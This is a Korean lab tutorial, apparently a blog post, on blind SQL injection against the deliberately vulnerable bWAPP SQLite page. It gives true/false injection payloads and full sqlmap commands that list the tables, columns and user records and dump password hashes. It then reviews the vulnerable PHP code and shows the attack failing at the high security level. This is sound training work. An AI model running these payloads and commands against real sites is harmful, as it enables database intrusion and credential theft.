정보보안(구버전)/ bWAPP 2019. 2. 7. 21:15
웹 해킹 bWAPP - 26. A1 - Injection - SQL Injection Blind(SQLite)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Injection
- OWASP Top10 A1 - 악의적인 명령 삽입
- 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를
획득할 수 있는 취약점이다.
- Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션
2. SQLite
- 데이터베이스 관리 시스템이지만, 서버가 아니라 응용 프로그램으로 동작하는 비교적 가벼운 데이터베이스
- API는 단순히 라이브러리를 호출하는 것만 있으며, 데이터를 저장하는 데 하나의 파일만을 사용함
- Beebox SQLite 삽입 구문 : insert into 게시판 테이블 이름(글 번호, '날짜', '내용', '게시자')
- Ex) SQLite 버젼 확인 인젝션
3. Injection - SQL Injection Blind(SQLite)
- 이 시나리오는 Query 결과를 참/거짓으로 출력하는 페이지를 이용하여 데이터베이스 내용을 추측하는 내용이다.
Ex1) Injection - SQL Injection Blind(SQLite) 이해 I
보안 레벨 선택 및 시나리오 선택
'or 1=1# 을 실시하여 참인 경우, 출력 메세지 확인
'or 1=2# 을 실시하여 거짓인 경우, 출력 메세지 확인
Ex2) Injection - SQL Injection Blind(SQLite) 이해 II
첫번째 테이블 이름 길이(4글자)를 알기 위한 SQL 인젝션 실시
Ex3) SQLmap을 이용한 공격 실시 I
- 인젝션 유형 : SQL Injection Blind(SQLite)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_14.php?title=&action=search
-p : 공격 파라메터 지정
--dbms : DBMS 지정
--threads : 공격 수행 thread 개수 지정
--level=5 --risk=3 : 최고 레벨 공격까지 수행
--batch : 질의에 대해서 기본값으로 응답
--dbs : 데이터베이스 목록 출력
--tables : 테이블 목록 출력
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_14.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --dbms=sqlite --threads=5 --level=5 --risk=3 --batch --dbs --tables
~ 중간 생략 ~
Database: SQLite_masterdb
[4 tables]
+--------+
| blog |
| heroes |
| movies |
| users |
+--------+
[10:22:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 10:22:42
Ex4) SQLmap을 이용한 공격 실시 II
- 인젝션 유형 : SQL Injection Blind(SQLite)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_14.php?title=&action=search
-T : 테이블 지정
--columns : 컬럼 목록 출력
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_14.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --dbms=sqlite --threads=5 --level=5 --risk=3 --batch -T users --columns
~ 중간 생략 ~
Database: SQLite_masterdb
Table: users
[9 columns]
+-----------------+---------+
| Column | Type |
+-----------------+---------+
| activated | tinyint |
| activation_code | varchar |
| admin | tinyint |
| email | varchar |
| id | int |
| login | varchar |
| password | varchar |
| reset_code | varchar |
| secret | varchar |
+-----------------+---------+
[10:38:53] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 10:38:53
Ex5) SQLmap을 이용한 공격 실시 III
- 인젝션 유형 : SQL Injection Blind(SQLite)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_14.php?title=&action=search
-C : 컬럼 지정
--dump : 데이터베이스 내용 덤프 실시
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_14.php?title=&action=search" --cookie="security_level=0;PHPSESSID=d4ed6efe9e2cc01d4d59583956bd9070" -p title --dbms=sqlite --threads=5 --level=5 --risk=3 --batch -T users -C admin,id,login,password --dump
~ 중간 생략 ~
Database: SQLite_masterdb
Table: users
[2 entries]
+-------+--------------------------+-------------------------------------+-----------+------------+-----------------+----+--------+------------------------------------------------+
| admin | email | secret | activated | reset_code | activation_code | id | login | password |
+-------+--------------------------+-------------------------------------+-----------+------------+-----------------+----+--------+------------------------------------------------+
| 1 | bwapp-aim@mailinator.com | A.I.M. or Authentication Is Missing | 1 | NULL | NULL | 1 | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) |
| 0 | bwapp-bee@mailinator.com | Any bugs? | 1 | NULL | NULL | 2 | bee | 6885858486f31043e5839c735d99457f045affd0 (bug) |
+-------+--------------------------+-------------------------------------+-----------+------------+-----------------+----+--------+------------------------------------------------+
[10:42:23] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/root/.sqlmap/output/192.168.20.205/dump/SQLite_masterdb/users.csv'
[10:42:23] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 10:42:23
Ex6) 'sqli_14.php' & 'functions_external.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l sqli_14.php
-rw-rw-r-- 1 root www-data 6134 2014-11-02 23:52 sqli_14.php
bee@bee-box:/var/www/bWAPP$ vi sqli_14.php
~ 중간 생략 ~
include("selections.php");
function sqli($data) switch($_COOKIE["security_level"]) case "0" :
$data = no_check($data);
case "1" :
// Not working with PDO
case "2" :
// Not working with PDO
default :
$data = no_check($data); } return $data; } :q! |
bee@bee-box:/var/www/bWAPP$ gedit functions_external.php
~ 중간 생략 ~
function sqli_check_1($data) {
return addslashes($data); }
function sqli_check_2($data) {
return mysql_real_escape_string($data); }
function sqli_check_3($link, $data) {
return mysqli_real_escape_string($link, $data);
}
function sqli_check_4($data) {
// Not bulletproof
// Replaces a single quote (') $input = str_replace("'", "''", $data); // 발견한 모든 검색 문자열을 치환 문자열로 교체 (작은따옴표1개를 2개로 바꿈)
return $input;
} |
Ex7) 보안 레벨 'High' 변경
보안 레벨 및 시나리오 선택
SQL 인젝션 실패
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 26. bWAPP Injection - SQL Injection Blind(SQLite) https://youtu.be/nV_0ujEVTBY